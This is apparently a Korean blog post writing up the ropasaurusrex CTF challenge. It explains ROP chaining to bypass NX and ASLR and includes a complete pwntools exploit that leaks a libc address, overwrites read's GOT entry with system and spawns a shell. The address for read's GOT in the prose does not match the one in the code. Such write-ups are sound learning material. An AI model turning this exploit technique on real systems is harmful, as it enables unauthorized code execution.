본문으로 바로가기

문제의 이름대로 ROP 기법을 사용한다.

이 문제를 풀기위해 우리가 알고있어야 할 기본지식은 다음과 같다.


-PLT, GOT 개념에 대한 이해 

-RTL 기법 ( RTL chaining 기법 알고있으면 따봉! )

-read, write 함수 

-메모리보호 기법 - NX bit ( DEP ), ASLR 등등..


나의 개인적인 생각이지만, 우리가 스택에서 지금까지 한 공부는 ROP를 하기 위함이라고 생각한다.

그럼, 도대체 ROP는 무엇일까?

ROP란 Return Oriented Programming 이라는 의미이다. 나는 영알못이므로 해석해보면...

반환 지향형 프로그램이라는 뜻이다. 

ROP는 NX bit, DEP 같은 어떻게 우회할수없는 메모리 보호기법이 걸려있을때 주로 사용한다.

프로그램의 흐름을 제어하고, 가젯 ( 기계어의 모음 ) 을 이용하여 RTL chaining 을 하는것을 말한다.

NX기법으로도 ROP를 막을수없다.


자, 그럼 이러한 ROP 문제의 기본이라고 여겨지는 로파사우로스렉스 ( 그냥 rop 공룡이라고 하자. ) 를 풀어보자.





-참고한 블로그-

https://shotgh.tistory.com/53?category=650775

https://blog.hyomin.xyz/71





일단 이 바이너리를 실행해보니 인풋을 받는다. 

일단 그래서 무작정 때려박았다.

세그펄트가 발생하는것을 보니 버퍼오버플로우가 발생하는듯 하다.


gdb로 뜯어 확실한 정보를 알아보자.




근데 심볼을 찾을수가없다. 처음에 나만이런건줄알고 진짜 노력했었는데, 다 그렇다고 하더라.

여러분도 당황하지 말자.

괜찮다. 우리에게는 ida가 있다.

이제 ida로 뜯어보자.

처음 main 함수에서는 sub_80483F3 이라는 함수를 호출하고, win이라는 문자열을 출력한다.


그럼 sub뭐시기 함수에는 무슨 내용이 있을까?

char buf부분에서 버퍼는 0x88 만큼 할당되었다. 하지만 입력을 0x100만큼 받으니 버퍼오버플로우가 발생한다.

이 16진수들을 10진수로 변환시켜주면 0x88은 136, 0x100은 256이다. 

즉, 버퍼의 크기는 136, SFP는 4바이트이므로, RET는 140부터일것이다.

자, 이제 그럼 RET을 이용해서 shell코드를 입력하면 공격이 성공한다!!





가 아니라, 결국에는 공격에 실패하게된다.

보호기법을 확인해보자. 

NX 가 걸려있다. 메모리영역에서는 뭔짓을해도 쉘코드를 실행시킬수없다. 당연하게도 ASLR은 걸려있을것이다.

다시 막막해졌다. 어떤식으로 공격을해야 잘했다고 소문이날까?

문제 이름대로 ROP를 사용하면 된다.





자, 이제 어떤식으로 공격해야할지 페이로드를 구성해보자.


일단 우리가 사용할수있는 함수는 파일 내에있는 read, write함수이다.  

그리고 공유라이브러리 어딘가에 있는 system함수도 사용할수있을것이다.

위의 3개의 함수를 사용해서 쉘을 따내야한다.


일단 쉘을따려면 system("/bin/sh")를 실행해야한다. 

그럼 rop로 system함수를 호출하고, bin sh를 인자로 전달하면 될듯 하다.



그럼 일단 read함수의 버퍼오버플로우를 이용하여 read의 plt로 덮어씌우면 read함수가 한번 더 실행될것이다. 

이를 이용해서 어느 메모리주소에 "/bin/sh" 문자열을 저장시켜둔다.


그다음에는 system의 주소를 구해야 한다.

함수가 한번 호출되면 got에 함수의 실주소가 저장된다는것을 여러분들은 알고있을것이다.

그러면 우리는 got에 들어있는 값을 읽어 그 함수의 실제주소를 알아내고, 그 주소로 libc의 특정 오프셋 값을 구해서 원하는 함수에 접근할수 있게되는것이다.

여기서 오프셋은 libc와 함수 실제주소의 거리를 말한다. 이는 ASLR이 걸려있어도 일정하다. 따라서 ASLR도 우회할수있다.


그리고 read함수를 통해 system함수의 시작주소를 write함수로 leak한 read got의 실주소에 입력하면 어떤일이 일어날까?

read함수가 실행되면 실제로는 system 함수가 실행될것이다.


그럼 여기다가 아까 어느 메모리주소에 입력한 "/bin/sh" 의 시작주소를 입력해주면 system("/bin/sh")가 실행될것이다.


이 모든 과정에서 pop pop pop ret 가젯 ( read, write함수는 인자가 3개이므로 pop pop pop ) 을 사용해주어 스택을 정리하고, ret과정을 통해 중간에 흐름이 끈기지않고 계속 rtl을 전개할수 있게 해주면 된다.


위의 시나리오를 바탕으로 필요한것을을 정리해보면....

1. "/bin/sh" 문자열을 입력할 공간

- 이 주소를 이용하여 system함수의 인자로 전달

2. read 함수의 plt, got

- read함수를 이용하여 문자열을 입력받고, system함수의 주소 입력

3. write 함수의 plt

- write함수를 이용하여 read got안에 들어있는 값을 leak함

4. pop pop pop ret의 주소 

- read write를 사용하면서 스택정리를 하며 연속하여 함수를 호출하기 위함

5. system함수의 오프셋

- libc와 system함수의 일정한 거리를 구해서 system함수의 실주소를 찾음




시나리오대로 하나하나 값을 구해보자!

1번!  문자열을 입력할 공간의 주소!

objdump -x 명령어로 구했다.

변하지않는 메모리 공간이면서 프로그램의 흐름을 방해하지 않고, 문자열을 입력하기 적당한 공간은 bss, dynamic이 있겠다.

하지만 bss는 메모리 공간이 8밖에 없으므로 안전하게 dynamic에 문자열을 입력받아보자.

dynamic의 주소는 0x8049530 이다. 


dynamic => 0x8049530



2번과 3번!  read, write함수의 plt와 read의 got

ida를 이용해 write, read함수의 plt를 구했다. 노란색 형광펜 부분이다.


write의 plt => 0x804830C

read의 plt => 0x804832C


read의 got는 ida로 구한 read의 plt의 바탕으로 구했다.

read의 got => 0x8048332



4번! pop pop pop ret 가젯의 주소!

objdump -D ropasaurusrex | grep ret -B3 명령어를 이용하여 찾았다!

pppr ( pop pop pop ret ) 의 주소 => 0x80484b6





5번! system함수와 read함수의 오프셋

system함수와 오프셋은 read - system 으로 구할수있다. 

이를 16진수로 바꾸면 a9ab0이 된다.


공격에 필요한 모든것을 구했다! 

이제 이를 바탕으로 파이썬으로 익스코드를 짜 날리면 익스에 성공할것이다!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#-*- coding: utf-8 -*-
 
from pwn import *
 
conn = process("./aropasaurusrex")
 
read_plt = 0x0804832c
read_got = 0x0804961c
write_plt = 0x0804830c
pppr = 0x080484b6
dynamic = 0x08049530
offset = 0xa9ab0
binsh = "/bin/sh"
 
lenbinsh = len(binsh)
 
pay = "A"*140
 
#binsh을 dynamic영역에 적어놈
pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(dynamic)
pay += p32(lenbinsh)
 
#write 로 real read got를 leak하는 부분
pay += p32(write_plt)
pay += p32(pppr)
pay += p32(1)
pay += p32(read_got)
pay += p32(4)
 
#read 함수를 이용해서 아까 릭된 read@got부분에 system을 넣음
pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(read_got)
pay += p32(lenbinsh)
 
#system함수 실행
pay += p32(read_plt)
pay += "AAAA"
pay += p32(dynamic)
 
conn.send(pay)
conn.send(binsh)
sleep(1)
 
ppp = conn.recv(4)
read = u32(ppp)
 
#system 주소
system = read-offset
 
conn.send(p32(system))
conn.interactive()
 
cs

폰툴로 파이썬 익스코드를 짜는건 난생 처음이였다. 위에 적어둔 두개의 블로그에서 많은 정보를 얻었다.


이걸로 요로케저러케 공격하면!



짠! 쉘이 따졌다.

처음으로 풀어본 rop 문제이자, 처음으로 짜본 파이썬 익스코드로 푼 문제라 감회가 새롭다.

이제부터 푸는 문제들은 이문제보다 훨씬 어렵겠지?






'System Hacking ( pwnable ) > CTF Write-up' 카테고리의 다른 글

[hackingcamp] bofforever ( write-up )  (0) 2019.08.25
[SSTF] bofsb ( write-up )  (0) 2019.08.20
[HITCON] Sleepy Holder ( write-up )  (0) 2019.08.04
[Rctf] Rnote ( write-up )  (0) 2019.08.02
[0ctf] babyheap ( write-up )  (0) 2019.08.02